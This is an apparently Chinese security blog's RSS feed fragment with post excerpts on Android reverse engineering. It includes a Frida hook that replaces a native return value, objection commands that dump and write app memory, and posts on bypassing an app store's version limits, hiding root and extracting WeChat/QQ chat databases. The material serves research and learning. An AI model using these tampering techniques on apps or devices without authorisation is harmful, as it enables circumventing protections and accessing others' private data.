&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEnv&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;getStringUtfChars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;retval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;readCString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;newRetval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getEnv&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;newStringUtf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;new retval from hook_native&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;retval&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newRetval&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;find so base address fail&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;so_base_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;onEnter是在原函数之前执行，然后执行原函数，最后执行onLeave函数中的代码。&lt;/p&gt;</description></item><item><title>qq机器人简单教程(go-cqhttp)</title><link>https://saucer-man.com/information_security/1102.html</link><pubDate>Thu, 03 Aug 2023 08:46:06 +0000</pubDate><guid>https://saucer-man.com/information_security/1102.html</guid><description>&lt;h2 id="1-go-cqhttp是什么"&gt;1. go-cqhttp是什么&lt;/h2&gt;
&lt;p&gt;mirai 是一个在全平台下运行，提供 QQ Android 协议支持的高效率机器人库，而go-cqhttp是mirai的golang版本实现。其项目地址为https://github.com/Mrs4s/go-cqhttp， 官方文档为https://docs.go-cqhttp.org/&lt;/p&gt;</description></item><item><title>android so分析入门</title><link>https://saucer-man.com/information_security/1078.html</link><pubDate>Mon, 17 Jul 2023 09:51:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1078.html</guid><description>&lt;h2 id="1-认识ndk开发"&gt;1. 认识NDK开发&lt;/h2&gt;
&lt;p&gt;NDK（Native Development Kit）是一种开发工具，允许开发人员使用C和C++等本地编程语言来编写Android应用程序的部分或全部代码。&lt;/p&gt;
&lt;p&gt;Android应用通常使用Java或Kotlin编写，但有时候需要使用C或C++编写的代码以实现更高效、更复杂的计算或访问底层硬件。NDK提供了这些功能，允许开发人员使用C或C++编写代码，然后将其编译成本地库，以便在Android应用中使用。&lt;/p&gt;</description></item><item><title>android studio动态调试apk</title><link>https://saucer-man.com/information_security/1067.html</link><pubDate>Mon, 03 Jul 2023 08:07:13 +0000</pubDate><guid>https://saucer-man.com/information_security/1067.html</guid><description>&lt;p&gt;一般调试apk都是用jeb，但是昨天调试豌豆荚的时候，总是卡死在页面上，于是测试一下用android studio去调试apk，测试下来感觉比jeb好用，故记录下调试步骤&lt;/p&gt;
&lt;h2 id="1-pc环境准备"&gt;1. PC环境准备&lt;/h2&gt;
&lt;p&gt;本地环境是windows，安装android studio最新版本，我本地这边是2022.1.1。&lt;/p&gt;</description></item><item><title>app逆向之解除豌豆荚历史版本限制</title><link>https://saucer-man.com/information_security/1050.html</link><pubDate>Sat, 01 Jul 2023 15:23:53 +0000</pubDate><guid>https://saucer-man.com/information_security/1050.html</guid><description>&lt;p&gt;最近豌豆荚不让下载历史版本了，有一些app历史版本的替代品，但是都没豌豆荚好用，于是尝试逆向一下豌豆荚，看看能否获取到历史版本的下载链接，本次测试的版本是豌豆荚8.2.6.1&lt;/p&gt;
&lt;h2 id="0-查签名校验和查壳"&gt;0. 查签名校验和查壳&lt;/h2&gt;
&lt;p&gt;首先检查下app是否有签名校验，使用mt管理器重新签名安装，发现app可以正常使用。&lt;/p&gt;</description></item><item><title>windows取证之导出微信&amp;QQ聊天记录</title><link>https://saucer-man.com/information_security/1038.html</link><pubDate>Thu, 01 Jun 2023 06:01:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1038.html</guid><description>&lt;p&gt;记录一下windows取证的一些步骤，主要是为了导出windows上的微信&amp;amp;qq的聊天记录，没什么新的东西，把最近实践的过程记录下。&lt;/p&gt;
&lt;h2 id="1微信聊天记录"&gt;1.微信聊天记录&lt;/h2&gt;
&lt;p&gt;微信聊天记录存储在sqlite数据库中，但是加密了，所以需要先获取到解密密钥。解密密钥的获取一般都是在内存中，所以需要微信在登录状态下才能获取到。&lt;/p&gt;</description></item><item><title>ebpf之CO RE</title><link>https://saucer-man.com/machine_learning/1033.html</link><pubDate>Sat, 11 Mar 2023 06:24:08 +0000</pubDate><guid>https://saucer-man.com/machine_learning/1033.html</guid><description>&lt;p&gt;在文章&lt;a href="https://saucer-man.com/information_security/1014.html"&gt;ebpf初探&lt;/a&gt;中，介绍了ebpf的由来，并且通过bcc框架编写了第一个ebpf程序，由于ebpf是运行在内核空间的，所以依赖于内核提供的各种数据结构和内核类型。这也导致了一个问题，不同版本的内核之间会存在数据结构和内核类型的差异，依赖&lt;strong&gt;开发环境本地的内核头文件&lt;/strong&gt;编译的 eBPF 程序， 是无法直接分发到其他机器运行，本篇文章来学习一下怎么做到CO RE，即一次编译，到处运行。文章表述中的BPF等同于eBPF。&lt;/p&gt;
&lt;h2 id="1-bcc怎么实现可移植性"&gt;1. bcc怎么实现可移植性&lt;/h2&gt;
&lt;p&gt;bcc本身既然作为一个BPF开发框架，本身是具有可移植能力的，bcc开发部署的过程如下：&lt;/p&gt;</description></item><item><title>ebpf系列一：初探</title><link>https://saucer-man.com/information_security/1014.html</link><pubDate>Thu, 08 Dec 2022 10:58:00 +0000</pubDate><guid>https://saucer-man.com/information_security/1014.html</guid><description>&lt;p&gt;写在开头：eBPF体系逐渐成熟，应用愈加广泛，所以计划一边学习一边写写eBPF的相关内容，本文为eBPF的介绍，将会涉及到eBPF的含义和来源，并编写一个最简单的eBPF程序。如有错误，欢迎指正。&lt;/p&gt;
&lt;h2 id="1-发展历程"&gt;1. 发展历程&lt;/h2&gt;
&lt;h3 id="11-lkm"&gt;1.1 LKM&lt;/h3&gt;
&lt;p&gt;在Linux的体系结构中，内存分为内核空间和用户空间。内核空间用于运行核心内核代码和设备驱动程序。在内核空间中运行的进程可以不受限制地访问所有硬件，包括CPU、内存和磁盘等。其他进程都在用户空间中运行，用户空间的进程一般是通过系统调用与内核通信来访问系统硬件，例如，要发送网络数据包，用户空间应用程序必须通过系统调用与内核空间网卡驱动程序进行通信，最终的数据由网卡驱动程序发送出去。&lt;/p&gt;</description></item><item><title>fart脱壳：mikrom编译刷机</title><link>https://saucer-man.com/android/1000.html</link><pubDate>Mon, 28 Nov 2022 12:25:00 +0000</pubDate><guid>https://saucer-man.com/android/1000.html</guid><description>&lt;h2 id="1-什么是fart脱壳"&gt;1. 什么是fart脱壳&lt;/h2&gt;
&lt;p&gt;该段中的部分文字来源于各大佬的文章，这里为总结性质的归纳，如有错误，还请指正。&lt;/p&gt;
&lt;p&gt;Android APP 脱壳的本质就是对内存中处于解密状态的dex的dump，要达到对apk的脱壳，最为关键的就是准确定位内存中解密后的dex文件的起始地址和大小。那么这里要达成对apk的成功脱壳，就有两个最为关键的要素：&lt;/p&gt;</description></item><item><title>pixel 3a编译安装android12</title><link>https://saucer-man.com/android/986.html</link><pubDate>Sun, 20 Nov 2022 16:52:00 +0000</pubDate><guid>https://saucer-man.com/android/986.html</guid><description>&lt;h2 id="0-设备准备"&gt;0. 设备准备&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;pixel 3a&lt;/li&gt;
&lt;li&gt;ubuntu20虚拟机 16g内存 300G存储 6核cpu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于ubuntu20的建议：内存16G起步，存储不低于250G，cpu不低于4核，不然会速度奇慢，并且会有意想不到的错误，比如编译过程出现内存不够&lt;/p&gt;
&lt;h2 id="1-配置环境"&gt;1. 配置环境&lt;/h2&gt;
&lt;p&gt;参考 &lt;a href="https://source.android.google.cn/docs/setup/build/initializing"&gt;https://source.android.google.cn/docs/setup/build/initializing&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install -y git-core gnupg flex bison build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc unzip fontconfig git curl vim android-sdk android-tools-adb android-tools-fastboot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建一个软连接，ubuntu20默认没有python环境变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo ln -s /usr/bin/python3 /usr/bin/python
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 填上自己的 Name 和 Email&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global user.name Your Name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git config --global user.email you@example.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2-确定源码分支"&gt;2. 确定源码分支&lt;/h2&gt;
&lt;p&gt;打开 &lt;a href="https://developers.google.com/android/images"&gt;https://developers.google.com/android/images&lt;/a&gt; ，找到&amp;quot;sargo&amp;quot; for Pixel 3a，sargo是pixel 3a的代号。&lt;/p&gt;</description></item><item><title>深入User-Agent的生成、校验以及安全风险</title><link>https://saucer-man.com/information_security/982.html</link><pubDate>Fri, 18 Nov 2022 12:16:00 +0000</pubDate><guid>https://saucer-man.com/information_security/982.html</guid><description>&lt;p&gt;User-Agent是http协议中请求头的一个字段，在设计之初，其作用是用来向服务端表明客户端的版本，方便服务端根据不同的客户端，对响应内容作出适当的调整。对于大部分人来说，UA并不陌生，稍微大点公司通常会对UA进行数据分析，从而刻画用户画像，更好的调整业务增长方向。&lt;/p&gt;</description></item><item><title>记一次Andlua软件解密[官方加密]</title><link>https://saucer-man.com/information_security/969.html</link><pubDate>Tue, 20 Sep 2022 07:27:00 +0000</pubDate><guid>https://saucer-man.com/information_security/969.html</guid><description>&lt;h2 id="1-andlua是什么"&gt;1. andlua是什么&lt;/h2&gt;
&lt;p&gt;软件本身由Andlua+编写，AndLua+可以在安卓平台上的用 Lua 开发安卓程序，不仅支持调用Java API，而且支持编写安卓界面程序，还可以将自己写的 Lua 程序打包成apk安装文件安装。&lt;/p&gt;
&lt;h2 id="2-解密apk"&gt;2. 解密apk&lt;/h2&gt;
&lt;p&gt;apk打开页面如下：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2022/09/321163278.png" alt="2022-09-20T07:00:02.png"&gt;&lt;/p&gt;
&lt;p&gt;通过jadx反编译，可以发现app是由是Andlua编写，在assets目录下可以查看加密后的lua文件：&lt;/p&gt;</description></item><item><title>autojs逆向与解密</title><link>https://saucer-man.com/information_security/955.html</link><pubDate>Sun, 28 Aug 2022 17:28:00 +0000</pubDate><guid>https://saucer-man.com/information_security/955.html</guid><description>&lt;h2 id="0-背景"&gt;0. 背景&lt;/h2&gt;
&lt;p&gt;autojs是一个在Android编写、运行JavaScript代码的集成开发环境，包括代码补全的编辑器、单步调试、图形化设计，可构建为独立apk应用，也可连接电脑开发。&lt;/p&gt;
&lt;p&gt;更新日志：参考 &lt;a href="https://pro.autojs.org/docs/#/zh-cn/appChangeLog"&gt;https://pro.autojs.org/docs/#/zh-cn/appChangeLog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;autojs 4.1.1 alpha2: 为最后一个开源版本，不带加密功能。可以直接从https://github.com/hyb1996/Auto.js编译。&lt;/p&gt;</description></item><item><title>一次垃圾佬3000元装机记录</title><link>https://saucer-man.com/operation_and_maintenance/947.html</link><pubDate>Tue, 09 Aug 2022 16:03:51 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/947.html</guid><description>&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;最近公司搬家了，我也重新租了房子，从毕业以来，每次租的房子都比上一个贵，打工人的日子太艰难了。恰好新房间的桌子比较大，我的笔记本屏幕比较小，于是打算装个台式机，定位是不打游戏，满足日常工作需求，预算3000元内，就一个要求，内存要大点，起码能开两个虚拟机。&lt;/p&gt;</description></item><item><title>Zygisk Magisk隐藏root</title><link>https://saucer-man.com/information_security/930.html</link><pubDate>Tue, 31 May 2022 15:27:00 +0000</pubDate><guid>https://saucer-man.com/information_security/930.html</guid><description>&lt;h2 id="1-magisk隐藏root"&gt;1. magisk隐藏root&lt;/h2&gt;
&lt;p&gt;magisk在v24之后取消了magisk hide和在线仓库，可以通过Zygisk来实现root隐藏。&lt;/p&gt;
&lt;p&gt;步骤如下：&lt;/p&gt;
&lt;p&gt;1.下载magisk安装最新版本：https://github.com/topjohnwu/Magisk/releases，我这里用的是magisk24.3&lt;/p&gt;</description></item><item><title>canvas指纹攻防</title><link>https://saucer-man.com/information_security/924.html</link><pubDate>Thu, 26 May 2022 05:45:00 +0000</pubDate><guid>https://saucer-man.com/information_security/924.html</guid><description>&lt;h2 id="1-什么是canvas指纹"&gt;1. 什么是canvas指纹&lt;/h2&gt;
&lt;p&gt;随着互联网的广泛普及，数以亿计网民的网络行为数据早已成为最宝贵的资源，企业通过五花八门的各种手段了解网民的行为和隐私数据，用于广告投递、用户兴趣分析等，进而作为决策的依据。利用Web客户端对用户行为进行收集和追踪是重要手段之一。浏览器指纹类似于人的外貌和指纹，指通过浏览器的各种信息，如系统字体、屏幕分辨率、浏览器插件，将这些信息综合分析计算后，可对客户端进行唯一识别，就能近乎绝对定位一个用户。而canvas指纹就是这么一种浏览器指纹的生成方式。&lt;/p&gt;</description></item><item><title>frida初探3：frida hook java</title><link>https://saucer-man.com/information_security/917.html</link><pubDate>Wed, 04 May 2022 06:12:00 +0000</pubDate><guid>https://saucer-man.com/information_security/917.html</guid><description>&lt;p&gt;本篇文章主要记录frida hook java的常见用法，内容多参考自《frida 协议分析》&lt;/p&gt;
&lt;h2 id="1-枚举所有的类"&gt;1. 枚举所有的类&lt;/h2&gt;
&lt;p&gt;hook第一步是需要找到需要hook的类，可以通过以下方式枚举所有加载到内存中的类：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;enumerateLoadedClasses&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;onMatch&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;name:&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; handle:&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;onComplete&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;end&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;setImmediate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一般情况下需要通过关键字来过滤一下类：&lt;/p&gt;</description></item><item><title>frida初探2：obection常见用法</title><link>https://saucer-man.com/information_security/911.html</link><pubDate>Sat, 16 Apr 2022 11:30:00 +0000</pubDate><guid>https://saucer-man.com/information_security/911.html</guid><description>&lt;h3 id="安装"&gt;安装&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip3 install objection
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;启动frida后，启动objection：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objection -d -g com.xxx.xxx explore
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;在高版本frida中com.xxx.xxx要换成process name
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="memory操作"&gt;memory操作&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 列举加载的modules，也就是so文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory list modules
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory list modules --json result.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 列举so文件的导出方法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory list exports xxx.so
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# dump所有内存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory dump all /tmp/dump
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# dump内存指定地址和大小&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory dump from_base 0x130b4060 &lt;span class="m"&gt;1024&lt;/span&gt; /tmp/dump
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 在内存搜索&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory search &lt;span class="s2"&gt;&amp;#34;64 65 78 0a 30 33 35 00&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory search &lt;span class="s2"&gt;&amp;#34;99999999999&amp;#34;&lt;/span&gt; --string
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory search &lt;span class="s2"&gt;&amp;#34;66 72 ?? ?? 61&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 修改内存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memory write 0x130b4060 &lt;span class="s2"&gt;&amp;#34;99999999999&amp;#34;&lt;/span&gt; --string
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="activityservicesreceivers组件相关"&gt;activity/services/receivers组件相关&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 列出应用程序具有的组件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking list activities
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking list services
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking list receivers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取当前activity&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking get current_activity
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 启动某个activity&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android intent launch_activity com.xxx.xxx.Activity
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 启动某个service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android intent launch_service xxxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="classmethod相关"&gt;class/method相关&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 列举所有加载的类&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking list classes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查找已加载的类中带有关键词的类&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking search classes xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看xx类有哪些方法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking list class_methods com.xx.xx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 在内存中所有已加载的类的方法中搜索包含特定关键词的方法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking search methods xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查找所有类的实例&lt;/span&gt;
